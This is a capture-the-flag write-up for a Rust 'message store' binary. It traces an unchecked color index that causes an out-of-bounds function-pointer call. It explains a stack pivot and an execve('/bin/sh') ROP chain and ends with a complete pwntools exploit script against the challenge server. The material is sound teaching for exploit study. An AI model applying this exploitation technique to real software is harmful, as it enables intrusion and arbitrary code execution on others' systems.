This challenge contains a compiled rust executable, that has the following protections
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x200000)
Since PIE is disabled and NX is enabled, memory addresses remain static, making Return-Oriented Programming (ROP) the ideal attack vector
With 508k lines of disassembly, we need to locate the actual challenge code, rust binaries are usually large due to static linking of the standard library
_RNvCslo4xS7ANgHU_9challenge4main -> challenge::main
_RNvCslo4xS7ANgHU_9challenge11set_message -> challenge::set_message
_RNvCslo4xS7ANgHU_9challenge13print_message -> challenge::print_message
_RNvCslo4xS7ANgHU_9challenge17set_message_color -> challenge::set_message_color
_RNvCslo4xS7ANgHU_9challenge11input_bytes -> challenge::input_bytes
_RNvCslo4xS7ANgHU_9challenge5input -> challenge::input
_RNvCslo4xS7ANgHU_9challenge6BUFFER -> challenge::BUFFER (global)
_RNvCslo4xS7ANgHU_9challenge5COLOR -> challenge::COLOR (global)
All challenge functions live in a tight range around 0x243700–0x243E80.
From challenge::main the string data reveals the menu:
-- MESSAGE STORER --
1) Set Message
2) Set Message Color
3) Print Message
4) Exit
The main function works as follows with this loop :
- Calls
input_parsed::<u8>to read a menu choice - Switch on choices 1–4:
- Case 1 ->
set_message() - Case 2 ->
set_message_color() - Case 3 ->
print_message() - Case 4 -> exit
- Case 1 ->
Analyzing Each Function
1) set_message
lea rsi, "New Message? ..." ; prompt
call input_bytes ; read raw bytes from stdin
cmp rcx, 1000h ; check length
jbe .copy_to_buffer
; if > 0x1000: print "message too long"
.copy_to_buffer:
lea rdi, BUFFER ; destination = global BUFFER @ 0x2F9E38
call copy_from_slice ; memcpy input → BUFFER
it reads up to 0x1000 bytes of raw input and copies them into a global buffer in the BSS at 0x2F9E38, the length is checked so there's no overflow here.
2) set_message_color
lea rsi, "-- Message Colors --\n0) Red\n1) Green\n..." ; color menu
call input_parsed::<u64> ; parse user input as u64
cmp rcx, 2 ; parse error?
jz .return
test cl, 1 ; successful parse?
jz .return
mov [COLOR], rax ; STORE WITHOUT VALIDATION
it parses a u64 from user input and writes it directly to COLOR (0x2F93B8), the color menu shows options 0–6, but there is absolutely no bounds check on the parsed value, meaning that any u64 is accepted
which is a bit suspicious, why accept a u64 for a 0–6 range?
3) print_message
This is where the vulnerability becomes exploitable:
; Convert BUFFER to a Rust string
lea rsi, BUFFER ; raw buffer address
mov edx, 1000h ; length = 0x1000
call String::from_utf8_lossy ; → Cow<str>
; Load the color function pointer
mov rax, [COLOR] ; ← attacker-controlled u64
lea rcx, funcs_243A92 ; table base @ 0x2F08E8
mov r14, [rcx + rax*8] ; ← OUT-OF-BOUNDS READ
; Apply color to the string
call Cow::deref ; get &str → (rax=ptr, rdx=len)
lea rdi, [rsp+var_60] ; output buffer (stack)
mov rsi, rax ; input string pointer
call r14 ; ← ARBITRARY FUNCTION CALL
Here's the vulnerability, the COLOR variable is used as an index into a table of 7 function pointers, since we control COLOR (any u64), we can read a function pointer from any address starting from the table's address, since we also control the content of BUFFER via set_message, we can also control where the function pointer is pointing to, by embedding an arbitrary address in the begining of the BUFFER, and setting the COLOR variable to the address of that buffer, with that we can call any function we want.
Mapping the Globals
1. funcs_243A92
- Address:
0x2F08E8 - Section:
.data - Description: 7 function pointers (red, green, yellow, blue, magenta, cyan, white)
2. COLOR
- Address:
0x2F93B8 - Section:
.data - Description: Current color index (default: 6 = white)
3. Buffer
- Address:
0x2F9E38 - Section:
.bss - Description: 0x1000-byte message buffer
The function pointer table at 0x2F08E8 is structured as follows:
[0] → Colorize::red
[1] → Colorize::green
[2] → Colorize::yellow
[3] → Colorize::blue
[4] → Colorize::magenta
[5] → Colorize::cyan
[6] → Colorize::white ← default COLOR value
Computing the OOB Index
since BUFFER is at 0x2F9E38 and the function pointer table is at 0x2F08E8:
offset = BUFFER - funcs_table = 0x2F9E38 - 0x2F08E8 = 0x9550 bytes
index = 0x9550 / 8 = 0x12AA (4778 decimal)
if we set COLOR = 0x12AA, then:
[funcs_table + 0x12AA * 8] = [0x2F08E8 + 0x9550] = [0x2F9E38] = BUFFER[0:8]
The first 8 bytes of BUFFER are loaded as a function pointer and called.
We control BUFFER contents via set_message, so we can redirect call r14 to any address.
To read from any offset within BUFFER:
COLOR = (BUFFER + N - funcs_table) / 8 = (0x9550 + N) / 8
we would not target the address BUFFER but BUFFER+N
Call Context
When call r14 executes in print_message:
| Register | Value | Controlled? |
|---|---|---|
r14 | BUFFER[N:N+8] | Yes (via set_message + OOB color) |
rdi | &stack_var (output buffer) | No |
rsi | pointer to BUFFER string data | Conditional |
rdx | string length | No |
| Stack | [ret_addr, ...] | No |
rsi points to BUFFER only if the content is valid UTF-8 (Cow::Borrowed), if not, from_utf8_lossy allocates a heap copy with replacement characters, and rsi points there instead
That means that we need to find a way to make our payload valid UTF-8, so that rsi points to BUFFER and not to a heap copy with replaced bytes
Exploitation
Stack Pivot + ROP Chain
Since NX is enabled, we need ROP, the primitive is a single call to a controlled address, but we don't control the stack or rdi, meaning that we can only execute one single function/gadget, the solution is a stack pivot.
if rsi = BUFFER address (valid UTF-8 content), then we can :
- Find gadget:
xchg rsp, rsi; ret(bytes:48 87 F4 C3, that are UTF-8 valid) - This sets
rsp = BUFFER, thenretpops the first qword (8 bytes) fromBUFFER(since now it's address is set up as the stack pointer) as the next RIP BUFFERnow functions as our stack containing a full ROP chain
ROP chain for execve("/bin/sh", NULL, NULL) which is going to be situated at the beginning of BUFFER
pop rdi; ret → BUFFER + 0x200 (address of "/bin/sh" string)
pop rsi; ret → 0
pop rdx; ret → 0
pop rax; ret → 59 (SYS_execve)
syscall; ret
Buffer Layout
Offset Content
────── ─────────────────────────
0x000 ROP chain (stack pivot lands here)
0x100 stack pivot gadget address (xchg rsp, rsi; ret) (called by OOB COLOR), after it's execution rsp is going to point to BUFFER[0x000], because it's stored in rsi, afterwards one of the gadgets is going to point rsp to 0x200 to avoid looping and to finish the ROP chain
0x200 "/bin/sh\x00"
UTF-8 restriction bypass
if gadget addresses contain non-ASCII/non-UTF8 bytes (e.g., 0x00, 0x24, etc.), the function from_utf8_lossy will create a heap copy and rsi won't point to BUFFE, but this is not the case here
Since PIE is disabled and the binary is loaded at a low address (0x200000), all our ROP gadget addresses consist of bytes in the 0x00-0x7F range, this makes the entire payload valid ASCII (meaning also valid UTF-8). As a result, rsi will point to our global BUFFER
Summary
┌─────────────────────────────────────────────────┐
│ 1. set_message(ROP_chain + gadget + binsh) │
│ → writes payload to BUFFER @ 0x2F9E38 │
├─────────────────────────────────────────────────┤
│ 2. set_color(0x12AB) # (0x9550+0x100)/8 │
│ → COLOR = index pointing to BUFFER[0x100] │
├─────────────────────────────────────────────────┤
│ 3. print_message() │
│ → loads BUFFER[0x100:0x108] as func ptr │
│ → calls pivot gadget │
│ → xchg rsp, rsi; ret │
│ → rsp = BUFFER → executes ROP chain │
│ → execve("/bin/sh", NULL, NULL) │
│ → flagggg! │
└─────────────────────────────────────────────────┘
Summary: Missing bounds check in set_message_color allows arbitrary out-of-bounds indexing into a function pointer table, which combined with attacker-controlled global buffer contents, can leave us with arbitrary code execution.
Final Exploit
#!/usr/bin/env python3
from pwn import *
exe = ELF("./challenge")
context.binary = exe
def conn():
if args.REMOTE:
return remote("message-store.chals.dicec.tf", 1337)
if args.GDB:
return gdb.debug(exe.path, gdbscript="b *0x243A88\nc")
return process(exe.path)
io = conn()
def set_message(data):
io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"New Message? ", data)
def set_color(idx):
io.sendlineafter(b"> ", b"2")
io.sendlineafter(b"> ", str(idx).encode())
def print_message():
io.sendlineafter(b"> ", b"3")
BUFFER_ADDR = 0x2F9E38
FUNCS_TABLE = 0x2F08E8
pivot_gadget = next(exe.search(asm("xchg rsp, rsi; ret"))) # 0x48 0x87 F4 C3
pop_rdi = next(exe.search(asm("pop rdi; ret")))
pop_rsi = next(exe.search(asm("pop rsi; ret")))
pop_rdx = next(exe.search(asm("pop rdx; ret")))
pop_rax = next(exe.search(asm("pop rax; ret")))
syscall = next(exe.search(asm("syscall; ret")))
log.success(f"Pivot: {hex(pivot_gadget)}")
binsh_addr = BUFFER_ADDR + 0x200
rop = flat({
0: [
pop_rdi, binsh_addr,
pop_rsi, 0,
pop_rdx, 0,
pop_rax, 59,
syscall
],
0x100: p64(pivot_gadget),
0x200: b"/bin/sh\x00"
})
color_index = (BUFFER_ADDR + 0x100 - FUNCS_TABLE) // 8
log.info(f"Setting index to: {hex(color_index)}")
set_message(rop)
set_color(color_index)
log.info("Triggering Shell...")
print_message()
io.interactive()